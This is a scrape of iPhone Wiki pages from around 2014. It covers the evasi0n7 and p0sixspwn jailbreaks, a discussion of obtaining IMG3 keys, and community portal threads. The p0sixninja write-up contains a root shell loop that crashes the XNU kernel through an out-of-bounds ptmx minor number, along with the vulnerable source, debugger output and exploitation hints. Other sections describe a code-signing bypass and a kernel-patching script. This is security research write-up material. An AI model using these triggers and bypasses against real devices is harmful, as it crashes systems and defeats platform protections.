* they have an HFS library that has an AFC backend, so they're able to virtually mount the entire system partition via AFC by seeking around on the rdisk using AFC commands. so using that, they modify the system partition the changes to the system partition are adding an executable which is signed with a self-signed cert at /evasi0n7 and a launchd plist to run it at boot

* they use the same CS bypass ued before to modify libmis.dylib which is loaded by amfid (which checks code signatures) to neuter the amfi checks and alwys return true (i.e. to MISValidateSignature)

* so evasi0n will run fine, and at that point it does the kernel portion

* they also have to do this trick involving another codeless library containing this xpcd_cache blob to bypass a change in iOS 7 (or was it 6) where launchctl will only load plists from signed libraries

See followups at [https://twitter.com/drspringfield @drspringfield].

=== [http://geohot.com/e7writeup.html Write-up by geohot] ===

=== Write-up by p0sixninja ===

The vulnerability is an out of bounds array in the _state.pis_ioctl_list array by specifying an overly large minor device node number. By placing data in a known location past the array it's possible to hijack the tty structure and special read and write data from ioctl calls, and control function pointers to control execution.

The exploit is actually quite simple to trigger. I discovered this with a simple fuzzing script to test out every single device node. Here's a small sample script that should crash the latest maverick update. please run this as root.

#!/bin/bash

for i in `seq 1 255`; do
echo "Node $i";
mknod /dev/crash c 16 $i;
echo "Hello World" >/dev/crash;
rm -rf /dev/crash;
done;

The 16 major device node actually is mapped to the ptmx/ptsd pseudo terminal system. It seems that only 16 spaces are allocated for these terminals and if you make a device node with major 16 and minor larger that 16 you start getting out of bounds of the array. The maximum size of device nodes are about 0x600000 giving to the ability to offset your pointer into a crafted structure very large. The only hard part is finding which zones are ahead of your array you can index into. The exploit itself is in the bsd/kernel/tty_ptmx.c file in XNU kernel. The crash happens in…

int ptsd_open(dev_t dev, int flag, __unused int devtype, __unused proc_t p);

The problem is they lack the check to see if the minor number is higher than the number of spots allocated. The problem comes down to this, I'll try to comment code as I go through it...

FREE_BSDSTATIC int
ptsd_open(dev_t dev, int flag, __unused int devtype, __unused proc_t p)
{
struct tty *tp;
struct ptmx_ioctl *pti;
int error;

/*
* The dev_t structure holds the bits extracted and used to offset
* in an array
*/

// We'll check this function out first, check below
if ((pti = ptmx_get_ioctl(minor(dev), 0)) == NULL) {
return (ENXIO);
}

// Here's where the crash happens
if (!(pti->pt_flags & PF_UNLOCKED)) {
return (EAGAIN);
}

// This is the pointer we want to control
tp = pti->pt_tty;
tty_lock(tp);

if ((tp->t_state & TS_ISOPEN) == 0) {
termioschars(&tp->t_termios); /* Set up default chars */
tp->t_iflag = TTYDEF_IFLAG;
tp->t_oflag = TTYDEF_OFLAG;
tp->t_lflag = TTYDEF_LFLAG;
tp->t_cflag = TTYDEF_CFLAG;
tp->t_ispeed = tp->t_ospeed = TTYDEF_SPEED;
ttsetwater(tp); /* would be done in xxparam() */
} else if (tp->t_state&TS_XCLUDE && suser(kauth_cred_get(), NULL)) {
error = EBUSY;
goto out;
}
if (tp->t_oproc) /* Ctrlr still around. */
(void)(*linesw[tp->t_line].l_modem)(tp, 1);
while ((tp->t_state & TS_CARR_ON) == 0) {
if (flag&FNONBLOCK)
break;
error = ttysleep(tp, TSA_CARR_ON(tp), TTIPRI | PCATCH,
"ptsd_opn", 0);
if (error)
goto out;
}
error = (*linesw[tp->t_line].l_open)(dev, tp);
/* Successful open; mark as open by the slave */
pti->pt_flags |= PF_OPEN_S;
CLR(tp->t_state, TS_IOCTL_NOT_OK);
if (error == 0)
ptmx_wakeup(tp, FREAD|FWRITE);
out:
tty_unlock(tp);
return (error);
}

/*
* Given a minor number, return the corresponding structure for that minor
* number. If there isn't one, and the create flag is specified, we create
* one if possible.
*
* Parameters: minor Minor number of ptmx device
* open_flag PF_OPEN_M First open of master
* PF_OPEN_S First open of slave
* 0 Just want ioctl struct
*
* Returns: NULL Did not exist/could not create
* !NULL structure corresponding minor number
*
* Locks: tty_lock() on ptmx_ioctl->pt_tty NOT held on entry or exit.
*/
static struct ptmx_ioctl *
ptmx_get_ioctl(int minor, int open_flag)
{
struct ptmx_ioctl *new_ptmx_ioctl;

// For normal open() syscalls this flag is never set
if (open_flag & PF_OPEN_M) {

/*
* If we are about to allocate more memory, but we have
* already hit the administrative limit, then fail the
* operation.
*
* Note: Subtract free from total when making this
* check to allow unit increments, rather than
* snapping to the nearest PTMX_GROW_VECTOR...
*/
if ((_state.pis_total - _state.pis_free) >= ptmx_max) {
return (NULL);
}

MALLOC(new_ptmx_ioctl, struct ptmx_ioctl *, sizeof(struct ptmx_ioctl), M_TTYS, M_WAITOK|M_ZERO);
if (new_ptmx_ioctl == NULL) {
return (NULL);
}

if ((new_ptmx_ioctl->pt_tty = ttymalloc()) == NULL) {
FREE(new_ptmx_ioctl, M_TTYS);
return (NULL);
}

/*
* Hold the DEVFS_LOCK() over this whole operation; devfs
* itself does this over malloc/free as well, so this should
* be safe to do. We hold it longer than we want to, but
* doing so avoids a reallocation race on the minor number.
*/
DEVFS_LOCK();
/* Need to allocate a larger vector? */
if (_state.pis_free == 0) {
struct ptmx_ioctl **new_pis_ioctl_list;
struct ptmx_ioctl **old_pis_ioctl_list = NULL;

/* Yes. */
MALLOC(new_pis_ioctl_list, struct ptmx_ioctl **, sizeof(struct ptmx_ioctl *) * (_state.pis_total + PTMX_GROW_VECTOR), M_TTYS, M_WAITOK|M_ZERO);
if (new_pis_ioctl_list == NULL) {
ttyfree(new_ptmx_ioctl->pt_tty);
DEVFS_UNLOCK();
FREE(new_ptmx_ioctl, M_TTYS);
return (NULL);
}

/* If this is not the first time, copy the old over */
bcopy(_state.pis_ioctl_list, new_pis_ioctl_list, sizeof(struct ptmx_ioctl *) * _state.pis_total);
old_pis_ioctl_list = _state.pis_ioctl_list;
_state.pis_ioctl_list = new_pis_ioctl_list;
_state.pis_free += PTMX_GROW_VECTOR;
_state.pis_total += PTMX_GROW_VECTOR;
if (old_pis_ioctl_list)
FREE(old_pis_ioctl_list, M_TTYS);
}

if (_state.pis_ioctl_list[minor] != NULL) {
ttyfree(new_ptmx_ioctl->pt_tty);
DEVFS_UNLOCK();
FREE(new_ptmx_ioctl, M_TTYS);

/* Special error value so we know to redrive the open, we've been raced */
return (struct ptmx_ioctl*)-1;

}

/* Vector is large enough; grab a new ptmx_ioctl */

/* Now grab a free slot... */
_state.pis_ioctl_list[minor] = new_ptmx_ioctl;

/* reduce free count */
_state.pis_free--;

_state.pis_ioctl_list[minor]->pt_flags |= PF_OPEN_M;
DEVFS_UNLOCK();

/* Create the /dev/ttysXXX device {<major>,XXX} */
_state.pis_ioctl_list[minor]->pt_devhandle = devfs_make_node(
makedev(ptsd_major, minor),
DEVFS_CHAR, UID_ROOT, GID_TTY, 0620,
PTSD_TEMPLATE, minor);
if (_state.pis_ioctl_list[minor]->pt_devhandle == NULL) {
printf("devfs_make_node() call failed for ptmx_get_ioctl()!!!!\n");
}
} else if (open_flag & PF_OPEN_S) {
DEVFS_LOCK();
_state.pis_ioctl_list[minor]->pt_flags |= PF_OPEN_S;
DEVFS_UNLOCK();
}

// No else statement to catch errors just return the index to the array faithfully.
return (_state.pis_ioctl_list[minor]);
}

First notice the (open_flag & PF_OPEN_M), if this is not true a lot of code will be skipped. on the ptmx devices, this isn't set so all this is complete skipped and we can skip to the end of the the code since there is no all catching else clause to handle most connections. It just automatically returns this array indexed with a user controllable value. Crash but true, let's look more into this structure we can control if we create a large minor number.

static struct _ptmx_ioctl_state {
struct ptmx_ioctl **pis_ioctl_list; /* pointer vector */
int pis_total; /* total slots */
int pis_free; /* free slots */
} _state;

This just contains a pointer vector of ptmx_ioctl structures, let's look at the structure which should be contained in the minor number offset.

/*
* ptmx_ioctl is a pointer to a list of pointers to tty structures which is
* grown, as necessary, copied, and replaced, but never shrunk. The ioctl
* structures themselves pointed to from this list come and go as needed.
*/
struct ptmx_ioctl {
struct tty *pt_tty; /* pointer to ttymalloc()'ed data */
int pt_flags;
struct selinfo pt_selr;
struct selinfo pt_selw;
u_char pt_send;
u_char pt_ucntl;
void *pt_devhandle; /* cloned slave device handle */
};

The first pointer in this structure is a pointer to a tty structure. This structure is easily readable and writable using using user land APIS. It also includes some function pointers in there which can be triggered to gain

struct tty {
lck_mtx_t t_lock; /* Per tty lock */

struct clist t_rawq; /* Device raw input queue. */
long t_rawcc; /* Raw input queue statistics. */
struct clist t_canq; /* Device canonical queue. */
long t_cancc; /* Canonical queue statistics. */
struct clist t_outq; /* Device output queue. */
long t_outcc; /* Output queue statistics. */
int t_line; /* Interface to device drivers. */
dev_t t_dev; /* Device. */
int t_state; /* Device and driver (TS*) state. */
int t_flags; /* Tty flags. */
int t_timeout; /* Timeout for ttywait() */
struct pgrp *t_pgrp; /* Foreground process group. */
struct session *t_session; /* Enclosing session. */
struct selinfo t_rsel; /* Tty read/oob select. */
struct selinfo t_wsel; /* Tty write select. */
struct termios t_termios; /* Termios state. */
struct winsize t_winsize; /* Window size. */
/* Start output. */
void (*t_oproc)(struct tty *);
/* Stop output. */
void (*t_stop)(struct tty *, int);
/* Set hardware state. */
int (*t_param)(struct tty *, struct termios *);
void *t_sc; /* XXX: net/if_sl.c:sl_softc. */
int t_column; /* Tty output column. */
int t_rocount, t_rocol; /* Tty. */
int t_hiwat; /* High water mark. */
int t_lowat; /* Low water mark. */
int t_gen; /* Generation number. */
void *t_iokit; /* IOKit management */
int t_refcnt; /* reference count */
};

You can imagine all the power you could do if you can control all these structures carefully. That will be the difficulty when trying to exploit. You need to find a kernel zone past this array and allocate your data into it in a way you always know the offset. shouldn't be too hard.

Here's what the crash looks like once triggered.

bash-3.2# for i in `seq 1 255`;do echo $i; mknod /dev/crash c 16 $i;echo "Hello" >/dev/crash;rm -rf /dev/crash;done

in gdb remote kernel debugger…

gdb$ bt
#0 0xffffff8024f35fbc in ptsd_open (dev=0x10000010, flag=0x402, devtype=0x2000, p=0xffffff803655a3f8) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/kern/tty_ptmx.c:571
#1 0xffffff8024bdd93f in spec_open (ap=0xffffff8225cb3928) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/miscfs/specfs/spec_vnops.c:325
#2 0xffffff8024bc43c9 in VNOP_OPEN (vp=0xffffff803809c110, mode=0x402, ctx=0xffffff8035bcdd08) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/kpi_vfs.c:3015
#3 0xffffff8024bb4eab in vn_open_auth (ndp=0xffffff8225cb3b70, fmodep=0xffffff8225cb3adc, vap=0xffffff8225cb3d08) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_vnops.c:591
#4 0xffffff8024b9d8db in open1 (ctx=0xffffff8035bcdd08, ndp=0xffffff8225cb3b70, uflags=0x601, vap=0xffffff8225cb3d08, fp_zalloc=0xffffff8024ecf0b0 <fileproc_alloc_init>, cra=0x0, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3067
#5 0xffffff8024b9e684 in open_nocancel (p=0xffffff803655a3f8, uap=0xffffff8035c3a920, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3345
#6 0xffffff8024b9e4fc in open (p=0xffffff803655a3f8, uap=0xffffff8035c3a920, retval=0xffffff8035bcdc18) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/vfs/vfs_syscalls.c:3326
#7 0xffffff8024fa3828 in unix_syscall64 (state=0xffffff8035c3a910) at /SourceCache/xnu_debug/xnu-2422.1.72/bsd/dev/i386/systemcalls.c:370

gdb$ i r
rax 0xdeadbeefdeadbeef 0xdeadbeefdeadbeef
rbx 0xffffff80367ea168 0xffffff80367ea168
rcx 0xffffff8033ec8788 0xffffff8033ec8788
rdx 0x10 0x10
rsi 0x0 0x0
rdi 0x10 0x10
rbp 0xffffff8225cb3870 0xffffff8225cb3870
rsp 0xffffff8225cb3840 0xffffff8225cb3840
r8 0x402 0x402
r9 0x1 0x1
r10 0xffffff80327c6220 0xffffff80327c6220
r11 0x0 0x0
r12 0xffffff8225cb3fc0 0xffffff8225cb3fc0
r13 0x7f9190c045b0 0x7f9190c045b0
r14 0xffffffff 0xffffffff
r15 0xffffff8035c3a910 0xffffff8035c3a910
rip 0xffffff8024f35fbc 0xffffff8024f35fbc <ptsd_open+76>
eflags 0x10282 0x10282
cs 0x8 0x8
ss 0x0 0x0
ds 0x0 0x0
es 0x0 0x0
fs 0xdead0000 0xdead0000
gs 0xdead0000 0xdead0000

it was trying to read in the value of _state.pis_ioctl_list[10].

gdb$ print _state.pis_ioctl_list[10]
$1 = (struct ptmx_ioctl *) 0xdeadbeefdeadbeef

gdb$ print pti
$2 = (struct ptmx_ioctl *) 0xdeadbeefdeadbeef

It crashes here before dereferenceing the tty structure at the beginning of the ptmx_ioctl structure. We must know it's an address, but we also leak a bit near the address if it is an address. We should also be able to retrieve the value of all these state variables it sets from variable bits wherever the pointer is at to see if it's the correct pointer or not.

571 * if (!(pti->pt_flags & PF_UNLOCKED)) {
572 return (EAGAIN);
573 }
574
575 tp = pti->pt_tty;
576 tty_lock(tp);
577
578 if ((tp->t_state & TS_ISOPEN) == 0) {
579 termioschars(&tp->t_termios); /* Set up default chars */

Examine the read, write, and select apis for these terminals to learn all you can do. ioctl calls might also be interesting. Also since it uses the tty zone for allocating this devices, it might be a very predictable zone if we can control all the pseudo terminals. Also checking out return values based on flags in structs can be a good way to feel around in memory.

New in iOS 7.0 security protections, you are now no longer allowed to remount the root partition as readable/writeable. Before we just change the /etc/fstab file to remount the filesystems, but now there is a special kernel check preventing root filesystem from being remounted. Also the user filesystem containing all the data is mounted to disallow super user files, and device nodes. Luckily, if we can remount the user filesystem to reallow superuser and device node files we can create this device node and launch the kernel exploit on iOS7.

== See Also ==
* [[evad3rs]]
* [[evasi0n]]

== References ==
<references />

[[Category:Jailbreaks]]

P0sixspwn

2014-01-07T01:20:12Z

Http: /* Exploits */ noun here, not a verb

{{lowercase}}
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.5 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.5 and 5.2.1 - 5.3 on [[k66ap|Apple TV 2G]]. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows program was released on 3 January 2014.

== Cydia Package Changelog ==
* '''1.0-5''' the initial release of the untether
* '''1.0-9''' [[n90ap|iPhone 4 GSM]] boot loop fix
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)
* '''1.2-1''' Various bug fixes.
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.

==Desktop Download==
{| class="wikitable"
! Version
! OS
! SHA-1 Hash
! Download
! Changes
|-
! 1.0.0
| rowspan="3" | [[wikipedia:OS X|OS X]]
| <code>b5a66f4e58ab4c813fc851d479b28188eb5115ec</code>
| style="text-decoration: line-through;" | [https://mega.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU Mega]
|
* Initial release.
|-
! 1.0.1
| <code>ae5b3907660b161b2ff94a2e2cfef97195404a89</code>
| style="text-decoration: line-through;" | [https://mega.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 Mega]
|
* Resolves issues with [[iPod touch 5G]] not being detected.
|-
! 1.0.2
| <code>259e95fd16468260c8831ca17186f50b7d14ba41</code>
| [https://mega.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 Mega]
|
* Resolves issues with LTE/data.
|-
! 1.0.3
| rowspan="2" | [[wikipedia:Microsoft Windows|Windows]]
| <code>060c95cda0e5ad861bd225ca19324e6ebd3c0a5d</code>
| style="text-decoration: line-through;" | [https://mega.co.nz/#!x0sk1SjB!S86WIGnifrgVhf5aoFQiPHl5aMJvS3miIeTTy9pLL_w Mega]
|
* Initial release for Windows.
|-
! 1.0.4
| <code>0a40a9780ba0dd9f0476d12950b4fb0026c8559a</code>
| style="text-decoration: line-through;" | [https://mega.co.nz/#!Vl9zFJYC!JaCsqwnNNDJvj_4t0APjC2XPBg0ZuUwMSNNz2MGb4Xw Mega]
|
* Added README and time adjustments for slow PC's.
|-
! rowspan="2" | 1.0.5
| [[wikipedia:OS X|OS X]]
| <code>b99fb1de846c406a15bbd710b623ddd78e139e5e</code>
| [https://mega.co.nz/#!B5lxxDLD!YrvjGhvVDxm2ah94hafI7TJWfm9EK0aWsh4_7YN78qE Mega]
| rowspan="2" |
* Fixes some issues.
* Support for Mac OS X Snow Leopard.
|-
| [[wikipedia:Microsoft Windows|Windows]]
| <code>7c782a39ed123f70594e2438eaacc95340e363e3</code>
| class="rborderplz nobrradiusplz" | [https://mega.co.nz/#!l1UFgJiA!Ogbi6Q1GsKZZMZzEhi8w1zvlHXEh0QuDBIGdjfktHb0 Mega]
|}

== Exploits ==
* [[posix_spawn kernel information leak]] (by [[i0n1c]]) (proof? what is it used for?)
* [[mach_msg_ool_descriptor_ts for heap shaping]] (proof/quotes? no information found)
* [[AMFID_code_signing_evasion]]
* [[DeveloperDiskImage race condition]] (by [[comex]]) (proof/quotes? no information found)
* [[Symbolic Link Vulnerability]]
* [[launchd.conf untether]]

== External Links ==
*[http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]
* [http://p0sixspwn.com/ p0sixspwn]

[[Category:Hacking Software]]
[[Category:Jailbreaks]]

User:Ra1ningSn0w

2014-01-07T01:14:56Z

Http: sorry, had to fix that typo...

Creator of iBooter, an iDevice Recovery-Mode tool for Windows, available at [http://www.ra1ningsn0w.com/ www.ra1ningsn0w.com].

Talk:Obtaining IMG3 Keys

2014-01-04T16:56:07Z

Http: add merge comments too

= Method 1 Discussion =

Hey, thats my "exploit" ;-) Dev used openiboot.

Much easier, just use iran to download the modified iBoot directly, no reason to pwn with it. I was originally strapping this with the diags exploit.

And thanks for writing this up.

~geohot

I adapted this method from your write-up earlier, because CPICH and Chronic were wanting to decrypt IMG3 keys, and the openiboot method has quite a bit of setup overhead, and requires modifying my C source, and I thought helping them fill out the missing pieces for your method would be simpler. I just slightly modified your assembly to do stack/register cleanup (and combined that mw into protected memory) and had them put a direct BX from a random iBoot function, since explaining how to patch the permissions bits is more conceptually difficult, and I wasn't sure how easy it would be to make "go" behave the way we want it to (I didn't have access to IDA when I was helping them). I asked them to write it up after they got it to work. Hope that's okay. :)

I've since made something easier: http://www.iphone-dev.org/planetbeing/crypto.tar.gz

--[[User:Planetbeing|Planetbeing]] 03:20, 7 August 2008 (UTC)

== iBoot ==

Why do you need a modified iBoot? Doesn't Pwnage Tool/xpwn/winpwn already patch/modify iBoot?

== no ==

yeah. their iboot is simply patched so the pwned ipsw wil work. there is soooooo much more you can do to the iboot :)

== iBoot ==

Ok, but does the iBoot need to be patched more than Pwnage already does for the userland AES KBAG decryption to work (using the program linked to by planetbeing?)

== no...no... ==

this is...different. not like that at all. just trust planetbeing :)

== Got it ==

Ok, thanks Chronic...and good idea, I will trust planetbeing.

== of course ==

pb is very talented and prolific dev team member, what's not to trust? :)

== 2.0.2 ==

Is there any way to use planetbeing's utility on 2.0.2?
It seems like something about the kernel has changed, since Pwnage doesn't decrypt it before patching.
Is it as simple as patching it in a hex editor or modifying crypto binary? --[[User:James|James]] 06:34, 1 September 2008 (UTC)

== uh..==
planetbeing's thing works fine in 2.0.2. just edit the script so it doesnt require a key and IV. if you dont know how to do that, no offense, but maybe its a sign you should not be doing this, only because it can majorly screw up your iPhone and require a DFU restore if you mess up.

== re:uh... ==
That's exactly why I asked, because I don't know exactly what I'm doing.
I edited the script but didn't want to boot with the resulting kernel, fearing that it'd cause problems.
I use my iPod anyways so I don't lose any information, even if I do have to restore.
Thanks for the answer though. :)

== np ==

no prob

good luck

== chronics modified script for 2.0.2 crypto ==

#!/bin/bash
XPWNTOOL=./xpwntool
PATCHKERNEL=./patch-kernel-crypto
KERNEL=/System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8900x

${XPWNTOOL} ${KERNEL} /tmp/a
${PATCHKERNEL} /tmp/a
${XPWNTOOL} /tmp/a /tmp/b -t ${KERNEL}
rm /tmp/a
cp ${KERNEL} /kernel.backup
cp /tmp/b ${KERNEL}
rm /tmp/b

there u go :)

James: what did you to fix this problem?

The DeviceTree wasn't patched, since QuickPwn flashed a stock one over it. After patching it, all was fine. --[[User:James|James]] 04:00, 10 April 2009 (UTC)

= Method 2 Discussion =
uh, how is this a method, let alone an easier one?
first thing to note is that each img3 file has its own key/iv pair, so whoever dumped this appears to not have much of a clue... the main reason for this post seems to be the signature at the bottom, which by the way is very '''in'''appropriate for a ''documentation'' wiki (i.e., not an egowiki)

someone just copied that from my blog, people need to realize they have two choices about this

1) use the phone, patch iboot or use openiboot

2) extract the hardware aes key. if you can't do #1, you can't do #2

3) ask someone for the key

== thinking outside the box ==

the 4.6 bootloader unlock was 'impossible'. the 3G unlock is 'impossible'. people need to think outside the box. although there are only two known methods for this, what if there is another method that nobody knows about yet?

Very good thinking!

== re: musclenerd ==

sorry...not sure what GenericTalk means :)

i saw your previous edit, and just know that you don't have to treat this wiki like it is run by nazis :P criticism and sarcasm is allowed...

if you know how to use the openiBoot method, why nor share with us?

== thanks dude! ==

lol awesome now we at least have some kind of documentation. I was afraid to ask about the "official" method because I thought it was obvious and I didn't want to look like an idiot lol

== drg ==

Too bad AES is not vulnerable to a known-plaintext attack. I don't even know how a side-chanel attack would look like! Any crypto experts out there?

== Merging ==

Does it make sense to merge [[Grabbing IMG3 Keys|this page]] with [[Obtaining_IMG3_Keys]]? It seems to be kind of similar intention. --[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 00:07, 3 January 2014 (UTC)
:Yes, we can and should merge these two pages. Feel free to go ahead. Make sure to update any links to the old page and also move the comments. --[[User:Http|http]] ([[User talk:Http|talk]]) 00:52, 4 January 2014 (UTC)
::OK I copied the page over to [[Obtaining_IMG3_Keys]] and also the discussion. I think this page can be archived or deleted.--[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 08:42, 4 January 2014 (UTC)
:::Done. I changed it to a redirect. --[[User:Http|http]] ([[User talk:Http|talk]]) 16:56, 4 January 2014 (UTC)

User talk:Http

2014-01-04T16:49:06Z

Http: /* Re: creation of R3w1nd */

The iPhone Wiki:Community portal

2014-01-02T22:06:23Z

Http: /* "GSM" Replacement Proposals (cont.) */

{{Talk Archive}}
{{see also|Unsolved problems}}
==iPhone-Elite==
I think we should include all this old stuff before it gets lost: [http://code.google.com/p/iphone-elite/ code.google.com/p/iphone-elite/]. I mean the wiki articles there. Most infos should be already here, but I'm sure a lot of things are missing too.
--[[User:Http|http]] 15:02, 26 June 2012 (MDT)

==Boot-args cleanup==
We need to clean up the boot-args pages. First the technical part: What I understand is that iBoot loads the kernel. And when loading it, it can pass some parameters to select certain behavior. So this only works with an iBoot or bootrom exploit. I understand that in earlier firmware versions there was simply an iBoot variable, but that doesn't exist or work anymore, now passing theses args requires a different or patched iBoot. There are various parameters in different kernel versions. The description for these arguments is scattered over various places:
*[[Kernel#Boot-Args]] A section with the latest boot arguments list. This should be a short introduction and having a link "main article".
*[[Boot-args (iBoot variable)]] separate page for boot arguments, but mainly for the iBoot variable that doesn't exist any longer
*[{{FULLURL:Boot arguments|redirect=no}} Boot arguments] (redirect)
*[[:Talk:Restore_Mode]] describing the iBoot variable problem
*Various pages referencing boot-args, like [[Research: Re-allowing unsigned ramdisks and boot-args with the 2.* iBoot]] (here we should have a link on the second title)
*My earlier comment [[:Talk:Kernel#boot-args]]
*This comment here.
So what do we want to do about this mess? I suggest to move the current [[Kernel]] content to the redirect page [[Boot arguments]] (or to another new page, maybe [[boot-args]]). The current content of [[Boot-args (iBoot variable)]] and all other content should get merged into there. Then change all references to this new page and on the [[Kernel]] page write just something short with "main article there". What do you think? --[[User:Http|http]] ([[User talk:Http|talk]]) 21:31, 13 February 2013 (UTC)
:I like [[Boot Arguments]]. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 02:01, 14 February 2013 (UTC)
::One addition: Maybe we should use [[boot-args]] as the main page, because all links are written like that. --[[User:Http|http]] ([[User talk:Http|talk]]) 07:37, 14 February 2013 (UTC)

==The iPhone Wiki re-design==
The design of the iPhone wiki is now quite old and I think it should be updated. I made a [http://oi42.tinypic.com/30ib9y8.jpg concept]. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:30, 14 June 2013 (UTC)
:I disagree. If anything add an iPhone 5 to the logo but everything else is ok. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:05, 14 June 2013 (UTC)
:I wouldn't change the logo to an iPhone 5, especially with iOS 7 and a new iPhone (that will probably look the same as the 5, admittedly) around the corner. I contemplated updating the CSS for iOS 7's UI but decided not to because of the UI's supposed volatility (during the beta period) and I don't have a live version to toy around with. (I personally don't like its current state, but that's not a factor in why I'm not changing it yet.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:25, 14 June 2013 (UTC)
::Can we not do flat? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 21:02, 14 June 2013 (UTC)
::This is what I was thinking. When iOS 7 finally comes out, we could change the CSS to look like that instead. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:11, 14 June 2013 (UTC)
:::iOS 7 looks ugly. We do not want it like that. Maybe a bit more modern but nothing much. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:16, 14 June 2013 (UTC)
::::''You'' may not want it like that. That's your opinion. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:55, 15 June 2013 (UTC)
:::::We could make a poll, and see if most users agree or disagree. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:05, 15 June 2013 (UTC)
:The idea looks nice. But before we make any changes, let's wait until iOS7 comes out. And I'd prefer to just add another skin instead (if possible). I'm still using the classic MonoBook skin by the way. You shouldn't impose design changes to everyone. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:38, 15 June 2013 (UTC)
::The problem with skins is that geohot needs to set them up... An idea I have is that we copy the Vector skin verbatim to a new skin (<code>iOS6</code>) and move the modifications (not general stuff) to [[Mediawiki:iOS6.css]]. Then we can do another verbatim copy to <code>iOS7</code> and modify [[Mediawiki:iOS7.css]]. We could then set the default skin to either <code>iOS6</code> or <code>iOS7</code> so you don't need to be logged in to see them like currently. Then if someone doesn't like them, like you, just change your settings to your preferred skin. The only way around needing geohot is if he opens up the credentials to FTP or whatever to someone. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:17, 15 June 2013 (UTC)
:::I like [[User:5urd|5urd]]'s suggestion. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:29, 15 June 2013 (UTC)
What about just removing the text-shadow element for now? I think pages would be easier to read without it. Here's an example: [[:File:Noshadow.png]]. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:11, 29 August 2013 (UTC)
:Yeah removing the shadow will make everything seem more flat but like [[User:http|http]] I'm still using the classic [http://theiphonewiki.com/w/index.php?title=Main_Page&useskin=monobook MonoBook skin] --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 21:19, 31 August 2013 (UTC)

==Hacker page==
I would like to be added to the list of hackers for my work with the Private Dev Team and the [[Chronic Dev (team)|Chronic Dev Team]] in addition to my release of the Phoenix Semi-Untethered. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:36, 22 July 2013 (UTC)
:Did you find any exploits? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 18:54, 22 July 2013 (UTC)
::No. [[User:phyrrus9|phyrrus9]], a team member found the vulnerability. I am the one who exploited it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]])
:::I can back up this "claim". I was a part of it. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:52, 28 July 2013 (UTC)
::::Whatever happened to this? --[[User:Phyrrus9|phyrrus9]]

==Orphaned articles==
This is an interesting search: [[Special:LonelyPages]] - "The following pages are not linked from or transcluded into other pages in The iPhone Wiki." I'm not sure where all of those articles should be linked, but figuring that out could be a useful project for somebody. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 05:57, 28 August 2013 (UTC)

==Easy tasks for new editors==
* Finish converting the remaining error codes listed here [[MobileDevice_Library#Known_Error_Codes]] into the proper mach_return_t codes they should be displayed as. (convert the negative number listed into hex, strip any leading "FF" so it should be in the format "0xe80000" followed by two numbers) --[[User:Dirkg|Dirkg]] ([[User talk:Dirkg|talk]]) 22:40, 28 August 2013 (UTC)

== A1XXX model numbers vs. "GSM"/"CDMA"/"Global"/"Cellular"/etc. ==
